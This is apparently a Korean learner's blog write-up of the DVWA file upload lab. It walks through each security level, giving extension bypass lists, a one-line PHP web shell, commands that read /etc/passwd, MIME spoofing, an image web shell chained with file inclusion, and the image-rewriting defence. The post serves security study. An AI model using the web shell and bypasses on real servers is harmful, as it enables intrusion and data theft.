Archive for Dev. (junyup2)

지식을 μ±„μ›Œκ°€λŠ” γ€Žκ°œλ°œμž/ν™”μ΄νŠΈν•΄μ»€γ€λ₯Ό λͺ©ν‘œλ‘œ μ •λ¦¬ν•˜λŠ” λΈ”λ‘œκ·Έ

Practice/DVWA

[DVWA] File Upload

Gearvirus(junyup2) 2024. 4. 9. 19:56

Vulnerability: File Upload

파일 μ—…λ‘œλ“œ(File Upload) 취약점은 κ³΅κ²©μžκ°€ Server Side Script μ½”λ“œκ°€ ν¬ν•¨λœ νŒŒμΌμ„ μ˜¬λ €μ„œ μ½”λ“œλ₯Ό μ‹€ν–‰ν•˜λŠ” 곡격이닀.

ν†΅μƒμ μœΌλ‘œ μ›Ήμ‰˜(webshell)을 μ΄μš©ν•˜κΈ° λ•Œλ¬Έμ— μ›Ήμ‰˜ 곡격이라고 μƒκ°ν•˜λ©΄λœλ‹€.

일반적으둜 μ›Ήμ‰˜ μ—…λ‘œλ“œ 취약점은 λ‹€μŒκ³Ό 같은 ν™•μž₯자λ₯Ό κ°€μ§€λŠ” 파일이 μ—…λ‘œλ“œ κ°€λŠ₯ν•œ κ²½μš°μ— λ°œμƒν•˜κ²Œ λœλ‹€.

(Blacklisting Bypass)
PHP → .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
ASP → .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp → .jsp, .jspx, .jsw, .jsv, .jspf
Coldfusion → .cfm, .cfml, .cfc, .dbm
Perl → .pl, .cgi
Using random capitalization → .pHp, .pHP5, .PhAr
(Whitelisting Bypass)
file.png.php file.png.Php5 file.php%20 file.php%0a file.php%00 file.php%0d%0a file.php/ file.php.\ file. file.php.... file.pHp5.... file.png.php file.png.pHp5 file.php#.png file.php%00.png file.php\x00.png file.php%0a.png file.php%0d%0a.png file.phpJunk123png file.png.jpg.php file.php%00.png%00.jpg

 

DVWA File Upload μ‹€μŠ΅

μ‹€μŠ΅ ν™˜κ²½
- Windows Dockerλ₯Ό μ΄μš©ν•œ DVWA
- Windows ν™˜κ²½μ˜ Burp Suite

DVWA μ‹€μŠ΅ 문제의 경우 PHP 기반의 μ›Ή μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ΄λ‹€. PHP μ½”λ“œλ₯Ό μ‹€ν–‰ν•  수 μžˆλŠ” 파일이 μ—…λ‘œλ“œ κ°€λŠ₯ν•œμ§€ μ κ²€ν•œλ‹€.

 

Security Level: Low

Low 레벨의 경우, μ—…λ‘œλ“œ νŒŒμΌμ— λŒ€ν•œ 검사가 μ—†κΈ° λ•Œλ¬Έμ— php ν™•μž₯μžμ— λŒ€ν•œ μ—…λ‘œλ“œκ°€ κ°€λŠ₯ν•˜λ‹€.

μ•„λž˜μ™€ 같이 ν•œμ€„ μ›Ήμ‰˜<?php system($_GET['cmd']) ?>이 ν¬ν•¨λœ μ½”λ“œλ₯Ό μ‚½μž…ν•΄ 쀄 수 μžˆλ‹€.

<pre>
<?php system($_GET['cmd']) ?>
</pre>

μœ„μ™€ 같이 μ‚½μž…ν•˜κ³  λ‚˜λ©΄ μ—…λ‘œλ“œκ°€ λ˜μ—ˆλ‹€λŠ” λ©”μ‹œμ§€μ™€ ν•¨κ»˜ 파일의 μ—…λ‘œλ“œ μœ„μΉ˜λ₯Ό μ•Œλ €μ€€λ‹€.

../../hackable/uploads/cmd.php

μœ„μ™€ 같은 κ²½λ‘œμ— 파일이 μœ„μΉ˜ν•˜λŠ” 것을 μ•Œ 수 μžˆλŠ”λ°, 이것은 ν˜„μž¬ μœ„μΉ˜μ—μ„œ μƒκ°ν•˜λ©΄ λ‘λ²ˆμ˜ μƒμœ„ λ””λ ‰ν„°λ¦¬μ—μ„œ upload 디렉터리에 ν•΄λ‹Ή 파일이 μ‘΄μž¬ν•œλ‹€λŠ” 것을 μ˜λ―Έν•œλ‹€. 이λ₯Ό URLμ£Όμ†Œλ‘œ 바꿔보면 λ‹€μŒκ³Ό κ°™λ‹€.

http://localhost/hackable/uploads/cmd.php

μœ„μ˜ μ£Όμ†Œλ₯Ό μž…λ ₯ν•΄μ£Όκ³  ?λ₯Ό λΆ™μ—¬μ„œ 뒀에 cmd νŒŒλΌλ―Έν„°μ— μ›ν•˜λŠ” λͺ…λ Ήμ–΄λ₯Ό μ‚½μž…ν•΄μ€€λ‹€.

cmd=cat ../../../../../../etc/passwd

μœ„μ™€ 같은 λͺ…λ Ήμ–΄λ₯Ό μž…λ ₯ν•΄μ£Όλ©΄ λ‹€μŒκ³Ό 같은 κ²°κ³Όκ°€ λ‚˜μ˜¨λ‹€.

μ›Ήμ‰˜μ΄ μ •μƒμ μœΌλ‘œ μ—…λ‘œλ“œ λ˜μ—ˆκ³ , μ‹€ν–‰λ˜μ–΄ λ‚΄λΆ€ 정보λ₯Ό 확인할 수 μžˆλ‹€λŠ” 것이 ν™•μΈλ˜μ—ˆλ‹€.


Security Level: Medium

Medium 레벨의 경우, μ—…λ‘œλ“œν•  파일의 MIME-Type을 μ κ²€ν•˜κ³  μžˆλ‹€. MIME ν˜•μ‹μ΄ image/jpeg와 image/png인 κ²½μš°μ—λ§Œ 파일의 μ—…λ‘œλ“œλ₯Ό ν—ˆμš©ν•œλ‹€. jpeg, png ν™•μž₯자 λ§Œμ„ μ—…λ‘œλ“œ κ°€λŠ₯ν•˜λ„λ‘ ν•˜κ³  μžˆλŠ” 것이닀.

MIME-Type은 μ›Ή λΈŒλΌμš°μ €κ°€ ν™•μž₯자λ₯Ό 기반으둜 MIME을 κ²°μ •ν•΄μ„œ μ „λ‹¬ν•˜κ²Œ λœλ‹€.

μ›Ή λΈŒλΌμš°μ €λŠ” ν™•μž₯자λ₯Ό 기반으둜 MIME을 κ²°μ •ν•˜κΈ° λ•Œλ¬Έμ— cmd.php 파일의 ν™•μž₯자λ₯Ό λ‹€λ₯Έ ν™•μž₯자둜 λ³€κ²½ν•˜μ—¬ μ—…λ‘œλ“œν•˜λŠ” κ³Όμ •μ—μ„œ μ›Ή ν”„λ‘μ‹œ(Burp Suite)λ₯Ό μ΄μš©ν•˜μ—¬ ν™•μž₯자λ₯Ό λ³€μ‘°ν•˜μ—¬ MIME-Type을 μ†μ΄κ±°λ‚˜, cmd.php νŒŒμΌμ„ μ—…λ‘œλ“œ ν•˜λŠ” κ³Όμ •μ—μ„œ MIME-Type을 ν—ˆμš©ν•˜λŠ” ν˜•μ‹μœΌλ‘œ λ³€μ‘°ν•˜λŠ” λ°©μ‹μœΌλ‘œ μš°νšŒκ°€ κ°€λŠ₯ν•˜λ‹€.

μœ„μ™€ 같이 Content-Type을 λ³€μ‘°ν•˜μ—¬ μš°νšŒκ°€ κ°€λŠ₯ν•˜λ‹€.

μ—…λ‘œλ“œ ν•˜κ³  λ‚˜λ©΄ Low 레벨과 같이 μ—…λ‘œλ“œ 파일의 κ²½λ‘œκ°€ λ‚˜μ˜€κΈ° λ•Œλ¬Έμ— 이λ₯Ό κ·ΈλŒ€λ‘œ URL에 μž…λ ₯ν•˜κ³  cmd λͺ…λ Ήμ–΄λ₯Ό μž…λ ₯ν•΄μ£Όλ©΄ λœλ‹€.

http://localhost/hackable/uploads/cmd.php?cmd=cat%20../../../../../../etc/passwd


Security Level: High

High 레벨의 경우, 파일의 ν™•μž₯μžμ— λŒ€ν•˜μ—¬ λŒ€μ†Œλ¬Έμž ꡬ뢄없이 jpg, jpeg, png 인 κ²½μš°μ—λ§Œ 파일 μ—…λ‘œλ“œλ₯Ό ν—ˆμš©ν•œλ‹€. λ˜ν•œ getimagesize() ν•¨μˆ˜κ°€ FALSEκ°€ μ•„λ‹ˆμ–΄μ•Ό ν•˜λŠ”λ°, μ‹€μ œ 이미지 파일이 μ•„λ‹Œ κ²½μš°μ—λŠ” getimagesize의 return 값이 FASLE이닀.

// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) {

cmd.php νŒŒμΌμ„ cmd.png둜 ν™•μž₯자만 λ³€κ²½ν•œ 경우, ν™•μž₯μžλŠ” pngμ΄μ§€λ§Œ λ‚΄μš©μ΄ ν‰λ¬ΈνŒŒμΌμ΄κΈ° λ•Œλ¬Έμ— μ‹€μ œ 이미지가 μ•„λ‹ˆλ―€λ‘œ getimagesize()의 λ°˜ν™˜κ°’μ΄ FALSE이기 λ•Œλ¬Έμ— λ‹€μŒκ³Ό 같이 κ±°λΆ€λœλ‹€.

μœ„μ˜ ν†±λ‹ˆ κ·Έλ¦Ό 내뢀에 μ›Ήμ‰˜μ„ μ‚½μž…ν•˜μ—¬ μ‹œκ·Έλ‹ˆμ²˜λ₯Ό κ·ΈλŒ€λ‘œ μ΄μš©ν•˜μ—¬ 이미지 파일둜 μ·¨κΈ‰λ˜μ–΄ μ •μƒμ μœΌλ‘œ μ—…λ‘œλ“œ λ˜λŠ” 것을 확인할 수 μžˆμ—ˆλ‹€. (이미지 파일의 끝에 ν‰λ¬ΈμœΌλ‘œ PHP μ½”λ“œλ₯Ό 덧 뢙여도 정상적인 μ΄λ―Έμ§€λ‘œ μΈμ‹ν•œλ‹€.)

μœ„μ™€ 같이 Hex Editor, HxDλ₯Ό μ΄μš©ν•˜μ—¬ μ΄λ―Έμ§€μ˜ λ§ˆμ§€λ§‰μ— μ›Ήμ‰˜μ„ μ‚½μž…ν•œλ‹€.

<pre>
<?php system($_GET['cmd']) ?>
</pre>

ν•΄λ‹Ή 이미지λ₯Ό μ—…λ‘œλ“œν•΄λ³΄λ©΄ λ‹€μŒκ³Ό κ°™λ‹€.

μœ„μ™€ 같이 μ •μƒμ μœΌλ‘œ μ—…λ‘œλ“œλ˜λŠ” 것을 확인할 수 μžˆλ‹€.

ν•˜μ§€λ§Œ μœ„μ™€ 같이 이미지 파일둜만 μΈμ‹λ˜μ–΄ μ‹€ν–‰λ˜μ§€ μ•ŠλŠ”λ‹€.

ν•΄λ‹Ή νŒŒμΌμ€ png ν™•μž₯자λ₯Ό 가지고 있고 λ‚΄μš©λ„ 정상적인 이미지이기 λ•Œλ¬Έμ— μ›Ή λΈŒλΌμš°μ €λ‘œ 열어도 μ΄λ―Έμ§€λ§Œ 좜λ ₯되고 λ‚΄λΆ€μ˜ PHP μ½”λ“œλŠ” μ‹€ν–‰λ˜μ§€ μ•ŠλŠ”λ‹€. μ‹€μ§ˆμ μœΌλ‘œ 파일 μ—…λ‘œλ“œ 취약점이 μ˜¨μ „ν•˜κ²Œ λ°©μ–΄λœ 것이닀.

μ›Ή 취약점 λΆ„μ„μ—μ„œ Vulnerability: File Upload high level은 취약점이 μ—†λ‹€κ³  결둠을 내릴 수 μžˆλ‹€. ν•˜μ§€λ§Œ μ—¬κΈ°μ„œ μ—…λ‘œλ“œν•œ 이미지 μ›Ή μ‰˜μ„ μ‹€ν–‰ν•  수 μžˆλŠ” 방법이 ν•œκ°€μ§€ μžˆλ‹€. λ°”λ‘œ LFI 취약점을 μ΄μš©ν•˜λŠ” 것이닀. 이 κ²½μš°μ—λŠ” LFI μ·¨μ•½μ μ΄λ―€λ‘œ Vulnerability: File Upload high level에 ν•΄λ‹Ήν•˜λŠ” 파일 μ—…λ‘œλ“œ 취약점이라고 λ³Ό μˆ˜λŠ” μ—†λ‹€.

 

LFI 취약점 - νŒŒμΌμ—…λ‘œλ“œ

이미지 μ›Ή μ‰˜, 즉 이미지에 μ‚½μž…λœ μ›Ή μ‰˜μ€ 일반적인 λ°©λ²•μœΌλ‘œλŠ” 싀행이 λΆˆκ°€λŠ₯ν•˜λ‹€. ν•˜μ§€λ§Œ ν•΄λ‹Ή 웹에 LFI 취약점이 μžˆλ‹€λ©΄ Includeλ₯Ό μ΄μš©ν•˜μ—¬ ν•΄λ‹Ή μ΄λ―Έμ§€μ˜ λ‚΄μš©μ„ κ°€μ Έμ™€μ„œ μ›Ήμ‰˜λ‘œμ„œ 이용이 κ°€λŠ₯ν•˜λ‹€.

마침 Vulnerability: File Upload high levelμ—μ„œ μ—…λ‘œλ“œν•œ 이미지 μ›Ήμ‰˜μ˜ 경우, Vulnerability: File Inclusion high level에 취약점이 μ‘΄μž¬ν•˜λ―€λ‘œ 이λ₯Ό μ΄μš©ν•΄λ³Έλ‹€.

κ·Έ κ²°κ³Ό ν•΄λ‹Ή 이미지λ₯Ό λΆˆλŸ¬μ™€μ„œ νŒŒλΌλ―Έν„° 값을 λ„£μ–΄μ€€ κ²°κ³Ό μœ„μ™€ 같이 μ›Ήμ‰˜λ‘œμ„œ 이용이 κ°€λŠ₯ν•œ 것을 확인할 수 μžˆλ‹€.

http://localhost/vulnerabilities/fi/?page=file:///../../../../../../var/www/html/hackable/uploads/cmd.png&cmd=cat%20/../../../../../../etc/passwd

μ—¬κΈ°μ„œ λ‹€μ‹œκΈˆ LFI 취약점 μžμ²΄λŠ” 맀우 λ“œλ¬Όκ²Œ λ‚˜νƒ€λ‚˜λŠ” μ·¨μ•½μ μ΄μ§€λ§Œ, μ–΄λ–€ ν˜•νƒœλ‘œλ“  νŒŒμΌμ„ μ—…λ‘œλ“œν•˜λŠ” κΈ°λŠ₯이 있으면 'ν™•μž₯자λ₯Ό λΆˆλ¬Έν•˜λŠ” μ›Ήμ‰˜' 을 λ§Œλ“€ 수 μžˆλŠ” μ·¨μ•½μ μ΄λ―€λ‘œ 맀우 μœ„ν—˜ν•˜λ‹€λŠ” 것을 μ•Œ 수 μžˆλ‹€.


Security Level: Impossible

Impossible 레벨의 경우, μ—…λ‘œλ“œν•œ 원본 μ΄λ―Έμ§€λ‘œλΆ€ν„° MIME ν˜•μ‹μ— 따라 PHP의 imagecreatefromjpeg() ν•¨μˆ˜λ‚˜ imagecreatefrompng() ν•¨μˆ˜λ₯Ό μ΄μš©ν•˜μ—¬ μƒˆλ‘œμš΄ 이미지λ₯Ό λ§Œλ“€κ³  μžˆλ‹€.

if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
} else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}

이 두 ν•¨μˆ˜μ˜ 경우, μ΄λ―Έμ§€λ§Œμ„ μ²˜λ¦¬ν•˜κΈ° λ•Œλ¬Έμ— 이미지 데이터가 μ•„λ‹Œ 뢀뢄은 λͺ¨λ‘ 버린닀. κ·Έ λ•Œλ¬Έμ— Exif 데이터도 μ§€μ›Œμ§€λŠ” νš¨κ³Όκ°€ λ°œμƒν•œλ‹€. μƒˆλ‘œ μƒμ„±ν•œ μ΄λ―Έμ§€μ—λŠ” λ³„λ„μ˜ Exif 정보가 μ‚½μž…λ˜κ³ , 원본 μ΄λ―Έμ§€λŠ” μ„œλ²„μ— μ €μž₯ν•˜μ§€ μ•Šκ³  λ²„λ¦¬λŠ” 것을 λ³Ό 수 μžˆλ‹€.

Exif(Exchangeable image file format, κ΅ν™˜ 이미지 파일 ν˜•μ‹)λŠ” 주둜 디지털 μΉ΄λ©”λΌμ—μ„œ μ‚¬μ§„μ΄λ‚˜ μŒμ„± 파일 속에 파일의 정보와 κ΄€λ ¨ μŒμ„±μ„ μ €μž₯ν•˜κΈ° μœ„ν•΄μ„œ μ‚¬μš©ν•˜λŠ” 메타데이터 기둝 ν‘œμ€€μ΄λ‹€. 촬영 μ‹œκ°„, 촬영 μœ„μΉ˜, 초점거리, 사진 크기, μ…”ν„° 속도, 카메라 κΈ°μ’…, 카메라 μ œμ‘°μ‚¬ λ“± 맀우 λ‹€μ–‘ν•œ 정보λ₯Ό 기둝할 수 μžˆλ‹€. 이미지 파일의 내뢀에 μ €μž₯λ˜λŠ” 것이 큰 μž₯점으둜 λ³„λ„μ˜ 관리λ₯Ό ν•„μš”λ‘œ ν•˜μ§€ μ•ŠλŠ”λ‹€.

이것을 μ‚΄νŽ΄λ³΄μžλ©΄ λ‹€μŒκ³Ό κ°™λ‹€.

μ‹€μ œλ‘œ μ—…λ‘œλ“œ ν•΄λ³Έ ν›„ 차이λ₯Ό 확인해본 결과이닀.

μš°μ„  아무것도 λ°”λ€Œμ§€ μ•ŠλŠ” High 레벨의 μ—…λ‘œλ“œν•  파일과 μ—…λ‘œλ“œ ν›„ νŒŒμΌμ„ λ‹€μš΄λ‘œλ“œ λ°›μ•„ exiftool을 μ΄μš©ν•˜μ—¬ 비ꡐ해본 결과이닀.

μ—…λ‘œλ“œ 파일 / λ‹€μš΄λ‘œλ“œ 파일

μœ„μ˜ 두 νŒŒμΌμ— λŒ€ν•˜μ—¬ μ‚΄νŽ΄λ³΄λ©΄ 변경점이 μ—†λŠ” 것을 확인할 수 μžˆλ‹€. ν•˜μ§€λ§Œ Impossible 레벨의 경우 λ‹€μŒκ³Ό 같이 λ‹€λ₯Έ κ²°κ³Όλ₯Ό 확인할 수 μžˆλ‹€.

μ—…λ‘œλ“œ ν•˜λ©΄ μœ„μ™€ 같이 μ €μž₯ μœ„μΉ˜μ™€ 이름을 μ•Œ 수 없도둝 μ—…λ‘œλ“œ λ˜λŠ”λ°, μ—…λ‘œλ“œν•œ 파일과 μ—…λ‘œλ“œ ν›„ λ‹€μš΄λ‘œλ“œ 받은 νŒŒμΌμ„ 확인해보면 λ‹€μŒκ³Ό κ°™λ‹€.

μ—…λ‘œλ“œ ν•œ 파일
μ—…λ‘œλ“œ ν›„ λ‹€μš΄λ°›μ€ 파일

μœ„μ˜ 두 값을 확인해보면 μ΄λ―Έμ§€μ˜ 정보가 λ°”λ€Œμ–΄ μžˆλŠ” 것을 확인해볼 수 μžˆλ‹€. λ˜ν•œ λ‹€μŒκ³Ό 같이 이미지 μ›Ή μ‰˜λ‘œμ„œ 이미지 끝에 μ‚½μž…ν•œ 평문 PHP μ›Ήμ‰˜ ꡬ문에 λŒ€ν•˜μ—¬ ν•΄λ‹Ή 뢀뢄이 μ§€μ›Œμ§„ 것을 확인할 수 μžˆλ‹€.

μ—…λ‘œλ“œν•œ 파일
μ—…λ‘œλ“œ ν›„ λ‹€μš΄λ°›μ€ 파일

μœ„μ™€ 같이 이미지가 μž¬μƒμ„±λ˜λ©΄μ„œ, μ‚½μž…λœ PHP μ›Ήμ‰˜μ„ μ‚­μ œν•΄λ²„λ¦° 것을 확인할 수 μžˆλ‹€.


λ³΄μ•ˆ vs κ°€μš©μ„±

이것은 μ‹€μ§ˆμ μœΌλ‘œ μ™„λ²½ν•˜λ‹€ λͺ»ν•΄ κ³Όν•˜λ‹€κ³ λ„ λ³Ό 수 μžˆλŠ” λ³΄μ•ˆμ΄λΌκ³  ν•  수 μžˆλ‹€.

이미지 μ—…λ‘œλ“œ κΈ°λŠ₯에 μžˆμ–΄μ„œ ν˜„μ‹€μ μœΌλ‘œ High 레벨의 방어법이 κ°€μž₯ 높은 μˆ˜μ€€μ΄λΌκ³  보아도 λ¬΄λ°©ν•˜λ‹€. (λ¬Όλ‘  원본 νŒŒμΌμ΄λ¦„μ„ λ³€κ²½ν•˜μ§€ μ•Šκ³  μ €μž₯ν•˜κ³ , μ €μž₯ 경둜λ₯Ό κ·ΈλŒ€λ‘œ λ³΄μ—¬μ£ΌλŠ” 것은 μˆ˜μ •ν•΄μ•Όν•  λΆ€λΆ„μ΄κΈ°λŠ” ν•˜μ§€λ§Œ, LFI 취약점이 μ—†λ‹€λ©΄ ν•΄λ‹Ή νŒŒμΌμ€ μ‹€ν–‰ν•  수 μ—†κΈ° λ•Œλ¬Έμ— 높은 μˆ˜μ€€μ΄λΌκ³  λ³Έλ‹€.)

그런데 Impossible 레벨의 κ²½μš°μ—λŠ” Exif(Exchangeable image file format) μ •λ³΄κΉŒμ§€ λͺ¨λ‘ μ§€μš°κ³  μžˆλŠ”λ°, 일반적으둜 μ‚¬μ§„μ—λŠ” λ‹€μ†Œ μ€‘μš”ν•œ 정보듀이 Exif 데이터에 담겨져 μžˆμ–΄μ„œ 이λ₯Ό μ‚­μ œν•˜λŠ” 것은 μ„œλΉ„μŠ€μ— 지μž₯을 쀄 κ°€λŠ₯성이 μžˆλ‹€λŠ” 것이닀.

이것은 λ³΄μ•ˆκ³Ό κ°€μš©μ„±μ΄ μƒμΆ©ν•˜λŠ” 것이라고 λ³Ό 수 μžˆλŠ”λ°, λ³΄μ•ˆμ΄ κ°€μš©μ„±μ„ μ΄κ²¨μ„œλŠ” μ•ˆλœλ‹€.

 

μ—…λ‘œλ“œν•œ 파일과 μ—…λ‘œλ“œ ν›„ λ‹€μš΄λ‘œλ“œ 받은 νŒŒμΌμ„ μ΄λ―Έμ§€μ μœΌλ‘œλ§Œ 보면 두 파일이 λ™μΌν•œ 이미지인 κ²ƒμ²˜λŸΌ 보인닀. ν•˜μ§€λ§Œ μ‹€μ œλ‘œλŠ” μ „ν˜€ λ‹€λ₯Έ νŒŒμΌμ΄λΌλŠ” 것이닀. 이런 λ°©μ‹μœΌλ‘œ 이미지 νŒŒμΌμ„ μž¬μž‘μ„±ν•˜μ—¬ μ„œλ²„μ— μ €μž₯ν•˜λ©΄ μ›Ήμ‰˜ μ—…λ‘œλ“œλ‚˜ LFI 취약점에 μ•…μš©λ˜λŠ” 것은 μ™„μ „ν•˜κ²Œ λ°©μ–΄ν•  수 μžˆμ„ 것이닀.

κ·ΈλŸ¬λ‚˜ μ‹€μ œ μ„œλΉ„μŠ€μ—μ„œλŠ” μ΄λŸ¬ν•œ 방식을 μ·¨ν•˜λŠ” 것은 μ–΄λ €μšΈ 수 μžˆλ‹€.

1. μ‚¬μš©μžκ°€ μ—…λ‘œλ“œν•˜λŠ” 이미지λ₯Ό μ‘°μž‘ν•˜λŠ” 것에 λŒ€ν•œ μ €μž‘κΆŒ λ¬Έμ œκ°€ λ°œμƒν•  수 μžˆλ‹€.
(μ΄λ―Έμ§€μ˜ 정보가 λ‹΄κ²¨μžˆλŠ” 뢀뢄을 λ³€κ²½ν•˜κΈ° λ•Œλ¬Έμ— μ €μž‘κΆŒ 문제λ₯Ό κ³ λ €ν•΄μ•Ό ν•œλ‹€.)
2. 이미지λ₯Ό μž¬μ²˜λ¦¬ν•˜λŠ” μž‘μ—…μ€ μ„œλ²„μ— 뢀담을 쀄 κ°€λŠ₯성이 λ†’λ‹€.
3. 졜근의 μ΄λ―Έμ§€λŠ” 주둜 μ‚¬μ§„μœΌλ‘œ, λ‚΄λΆ€μ—λŠ” μœ„μΉ˜μ •λ³΄μ™€ 같은 λ‹€μ–‘ν•œ 정보가 μ œκ³΅λœλ‹€.
(이것이 μ €μž₯λ˜μ–΄ μžˆλŠ” Exifλ₯Ό μ œκ±°ν•˜λŠ” 경우 μ΄λŸ¬ν•œ 정보λ₯Ό λͺ¨λ‘ μžƒκ²Œλ˜λŠ” κ²°κ³Όλ₯Ό μ΄ˆλž˜ν•  수 μžˆλ‹€.)

μœ„μ™€ 같은 μ΄μœ μ—μ„œ μ‹€μ œ μ„œλΉ„μŠ€μ—μ„œλŠ” Vulnerability: File Upload high level의 검증 방식이 κ°€μž₯ μ•ˆμ „ν•˜κ²Œ μ‚¬μš©ν•  수 μžˆλŠ” μ›Ήμ‰˜μ—…λ‘œλ“œ 방어법이라고 ν•  수 μžˆλ‹€. (λ¬Όλ‘  μœ„μ—μ„œ λ§ν–ˆλ“―μ΄ 파일λͺ…을 κ·ΈλŒ€λ‘œ μ €μž₯ν•˜λŠ” 것은 μˆ˜μ •ν•΄μ•Όν•  ν•„μš”κ°€ μžˆμ§€λ§Œ 말이닀.)

 


질문 ν™˜μ˜, μˆ˜μ • 및 보완에 λŒ€ν•œ μ§€μ  ν™˜μ˜